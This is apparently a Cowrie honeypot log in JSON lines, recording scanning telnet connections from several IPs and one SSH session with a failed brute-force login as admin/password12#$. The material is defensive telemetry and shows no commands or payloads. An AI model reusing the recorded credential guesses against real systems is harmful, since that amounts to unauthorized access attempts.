{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":44700,"dst_ip":"159.203.135.109","dst_port":23,"session":"b03da8a2e028","protocol":"telnet","message":"New connection: 94.23.76.26:44700 (159.203.135.109:23) [session: b03da8a2e028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:39.218156Z"}
{"eventid":"cowrie.session.closed","duration":31.150214195251465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:39.363345Z","src_ip":"94.23.76.26","session":"125e55cc9606","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":53178,"dst_ip":"10.17.0.5","dst_port":23,"session":"757a851814a3","protocol":"telnet","message":"New connection: 75.119.159.60:53178 (10.17.0.5:23) [session: 757a851814a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:39.783222Z"}
{"eventid":"cowrie.session.closed","duration":30.628361701965332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:40.057413Z","src_ip":"94.23.76.26","session":"6ee5bc27bce6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.801025867462158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:40.092049Z","src_ip":"94.23.76.26","session":"41cd98e64413","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82130265235901,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:40.118819Z","src_ip":"75.119.159.60","session":"a3151c56492d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.639143466949463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:41.049643Z","src_ip":"94.23.76.26","session":"f7a72450c02e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749043464660645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:41.085548Z","src_ip":"75.119.159.60","session":"ea21767adb62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04867172241211,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:41.090971Z","src_ip":"75.119.159.60","session":"5e020def61ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822763204574585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:41.131823Z","src_ip":"94.23.76.26","session":"1b9b3a617830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":51090,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee3d45e5d3b","protocol":"telnet","message":"New connection: 46.4.8.162:51090 (159.203.135.109:23) [session: dee3d45e5d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:41.175248Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":44702,"dst_ip":"159.203.135.109","dst_port":23,"session":"839384737877","protocol":"telnet","message":"New connection: 94.23.76.26:44702 (159.203.135.109:23) [session: 839384737877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:41.357642Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":44712,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb2211b7da93","protocol":"telnet","message":"New connection: 94.23.76.26:44712 (159.203.135.109:23) [session: fb2211b7da93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:41.452394Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":54582,"dst_ip":"10.17.0.5","dst_port":23,"session":"794367a905e6","protocol":"telnet","message":"New connection: 75.119.159.60:54582 (10.17.0.5:23) [session: 794367a905e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:41.484708Z"}
{"eventid":"cowrie.session.closed","duration":30.68714165687561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:41.614129Z","src_ip":"94.23.76.26","session":"4de6b5967297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":54804,"dst_ip":"10.17.0.5","dst_port":23,"session":"bab3a60b8152","protocol":"telnet","message":"New connection: 75.119.159.60:54804 (10.17.0.5:23) [session: bab3a60b8152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:41.801794Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":44728,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0ab22af99b5","protocol":"telnet","message":"New connection: 94.23.76.26:44728 (159.203.135.109:23) [session: e0ab22af99b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:42.206209Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":55500,"dst_ip":"10.17.0.5","dst_port":23,"session":"577331d6ce9f","protocol":"telnet","message":"New connection: 75.119.159.60:55500 (10.17.0.5:23) [session: 577331d6ce9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:42.605703Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":44738,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee9b8bdb6e1f","protocol":"telnet","message":"New connection: 94.23.76.26:44738 (159.203.135.109:23) [session: ee9b8bdb6e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:42.778832Z"}
{"eventid":"cowrie.session.closed","duration":30.74423050880432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:43.052474Z","src_ip":"94.23.76.26","session":"d114f40ca50c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84145951271057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:43.085610Z","src_ip":"94.23.76.26","session":"3de913d4e79d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73892903327942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:43.235392Z","src_ip":"35.187.38.22","session":"99845362fa47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":44744,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9a145a011aa","protocol":"telnet","message":"New connection: 94.23.76.26:44744 (159.203.135.109:23) [session: a9a145a011aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:43.438196Z"}
{"eventid":"cowrie.session.closed","duration":30.834863424301147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:44.076879Z","src_ip":"75.119.159.60","session":"d89810e676f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88582158088684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:44.154351Z","src_ip":"94.23.76.26","session":"a51f928b4f3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":43886,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d1bb9eb05b9","protocol":"telnet","message":"New connection: 35.187.38.22:43886 (159.203.135.109:23) [session: 6d1bb9eb05b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:44.288169Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":43932,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2a7bde55ddb","protocol":"telnet","message":"New connection: 35.187.38.22:43932 (159.203.135.109:23) [session: d2a7bde55ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:44.306449Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":56846,"dst_ip":"10.17.0.5","dst_port":23,"session":"a12db2be4f9d","protocol":"telnet","message":"New connection: 75.119.159.60:56846 (10.17.0.5:23) [session: a12db2be4f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:44.341392Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":44258,"dst_ip":"159.203.135.109","dst_port":23,"session":"efe998a2a388","protocol":"telnet","message":"New connection: 35.187.38.22:44258 (159.203.135.109:23) [session: efe998a2a388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:44.409982Z"}
{"eventid":"cowrie.session.closed","duration":33.474236726760864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:44.787928Z","src_ip":"46.4.8.162","session":"fb25e8b63dd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":44760,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb592791f2de","protocol":"telnet","message":"New connection: 94.23.76.26:44760 (159.203.135.109:23) [session: eb592791f2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:45.193623Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":44766,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8f7e7f31391","protocol":"telnet","message":"New connection: 94.23.76.26:44766 (159.203.135.109:23) [session: a8f7e7f31391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:45.265729Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":45400,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ec703455886","protocol":"telnet","message":"New connection: 35.187.38.22:45400 (159.203.135.109:23) [session: 1ec703455886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:45.284756Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":45484,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bba4fa44e1c","protocol":"telnet","message":"New connection: 35.187.38.22:45484 (159.203.135.109:23) [session: 3bba4fa44e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:45.330066Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41894,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9587644e41f","protocol":"telnet","message":"New connection: 46.4.8.162:41894 (159.203.135.109:23) [session: b9587644e41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:45.435314Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41890,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa316a669169","protocol":"telnet","message":"New connection: 46.4.8.162:41890 (159.203.135.109:23) [session: aa316a669169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:45.499784Z"}
{"eventid":"cowrie.session.closed","duration":30.824827194213867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:46.048980Z","src_ip":"94.23.76.26","session":"7a236bcadeff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915204286575317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:46.146114Z","src_ip":"94.23.76.26","session":"8d16b252d1e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.548699140548706,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:46.703812Z","src_ip":"46.4.8.162","session":"448d5e615e1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.365290641784668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:47.041206Z","src_ip":"94.23.76.26","session":"72e2de0b171c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824116706848145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:47.046262Z","src_ip":"94.23.76.26","session":"bc6d67f6e0f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":48466,"dst_ip":"159.203.135.109","dst_port":23,"session":"19064ee3b90b","protocol":"telnet","message":"New connection: 35.187.38.22:48466 (159.203.135.109:23) [session: 19064ee3b90b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:47.366597Z"}
{"eventid":"cowrie.session.closed","duration":32.281880617141724,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:47.866374Z","src_ip":"46.4.8.162","session":"c6a3b513b492","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50110,"dst_ip":"159.203.135.109","dst_port":22,"session":"0458672307e1","protocol":"ssh","message":"New connection: 159.203.92.129:50110 (159.203.135.109:22) [session: 0458672307e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:48.537698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:48.542789Z","src_ip":"159.203.92.129","session":"0458672307e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:48.549457Z","src_ip":"159.203.92.129","session":"0458672307e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password12#$","message":"login attempt [admin/password12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:48.563325Z","src_ip":"159.203.92.129","session":"0458672307e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35652,"dst_ip":"159.203.135.109","dst_port":23,"session":"1135bb916855","protocol":"telnet","message":"New connection: 94.23.76.26:35652 (159.203.135.109:23) [session: 1135bb916855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:48.930750Z"}
{"eventid":"cowrie.session.closed","duration":30.75740098953247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:49.048553Z","src_ip":"94.23.76.26","session":"f3b7d5f485e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.156.123.93","src_port":43200,"dst_ip":"159.203.135.109","dst_port":23,"session":"033b39405fa8","protocol":"telnet","message":"New connection: 217.156.123.93:43200 (159.203.135.109:23) [session: 033b39405fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:49.115741Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":33102,"dst_ip":"10.17.0.5","dst_port":23,"session":"73533dfc40cf","protocol":"telnet","message":"New connection: 75.119.159.60:33102 (10.17.0.5:23) [session: 73533dfc40cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:49.413649Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:49.572671Z","src_ip":"159.203.92.129","session":"0458672307e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35664,"dst_ip":"159.203.135.109","dst_port":23,"session":"1764b88dab0e","protocol":"telnet","message":"New connection: 94.23.76.26:35664 (159.203.135.109:23) [session: 1764b88dab0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:50.249654Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35680,"dst_ip":"159.203.135.109","dst_port":23,"session":"e10589652b8a","protocol":"telnet","message":"New connection: 94.23.76.26:35680 (159.203.135.109:23) [session: e10589652b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:50.253637Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":51092,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8c40b618618","protocol":"telnet","message":"New connection: 188.166.220.49:51092 (159.203.135.109:23) [session: c8c40b618618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:51.162126Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35682,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cefeb2c698a","protocol":"telnet","message":"New connection: 94.23.76.26:35682 (159.203.135.109:23) [session: 3cefeb2c698a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:51.249725Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35696,"dst_ip":"159.203.135.109","dst_port":23,"session":"03fb22ec77e4","protocol":"telnet","message":"New connection: 94.23.76.26:35696 (159.203.135.109:23) [session: 03fb22ec77e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:51.288114Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":34594,"dst_ip":"10.17.0.5","dst_port":23,"session":"722eac15870d","protocol":"telnet","message":"New connection: 75.119.159.60:34594 (10.17.0.5:23) [session: 722eac15870d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:51.312389Z"}
{"eventid":"cowrie.session.closed","duration":31.491424322128296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:51.444496Z","src_ip":"217.156.123.93","session":"87a4c4e90166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":34856,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bfd1d666d25","protocol":"telnet","message":"New connection: 75.119.159.60:34856 (10.17.0.5:23) [session: 9bfd1d666d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:51.562032Z"}
{"eventid":"cowrie.session.closed","duration":30.726601362228394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:52.043484Z","src_ip":"94.23.76.26","session":"f9fe3b84e2fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35700,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0f52afd13f3","protocol":"telnet","message":"New connection: 94.23.76.26:35700 (159.203.135.109:23) [session: a0f52afd13f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:52.052868Z"}
{"eventid":"cowrie.session.closed","duration":30.789825916290283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:52.059961Z","src_ip":"75.119.159.60","session":"3428b92f7946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71339511871338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:52.095217Z","src_ip":"75.119.159.60","session":"6131f2173c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3311710357666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:52.165920Z","src_ip":"75.119.159.60","session":"3a14b5f39b13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35714,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad61038ea32","protocol":"telnet","message":"New connection: 94.23.76.26:35714 (159.203.135.109:23) [session: 8ad61038ea32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:52.276683Z"}
{"eventid":"cowrie.session.closed","duration":30.416017293930054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:53.063439Z","src_ip":"94.23.76.26","session":"badf0051813f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.282362461090088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:53.069247Z","src_ip":"94.23.76.26","session":"c58e7ee5b628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.322705507278442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:53.098408Z","src_ip":"75.119.159.60","session":"888ec94e2797","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":38402,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ff362d54072","protocol":"telnet","message":"New connection: 75.119.159.60:38402 (10.17.0.5:23) [session: 5ff362d54072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:55.307068Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":36618,"dst_ip":"159.203.135.109","dst_port":23,"session":"da346a746719","protocol":"telnet","message":"New connection: 46.4.8.162:36618 (159.203.135.109:23) [session: da346a746719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:55.736222Z"}
{"eventid":"cowrie.session.closed","duration":34.35741710662842,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:55.804617Z","src_ip":"46.4.8.162","session":"1e5686e5b087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":39116,"dst_ip":"10.17.0.5","dst_port":23,"session":"816ea929d4a3","protocol":"telnet","message":"New connection: 75.119.159.60:39116 (10.17.0.5:23) [session: 816ea929d4a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:56.228658Z"}
{"eventid":"cowrie.session.closed","duration":30.652626752853394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:56.565833Z","src_ip":"217.156.123.93","session":"a46f7e5bf919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853913068771362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:57.058928Z","src_ip":"94.23.76.26","session":"f9a35e985dab","protocol":"telnet"}
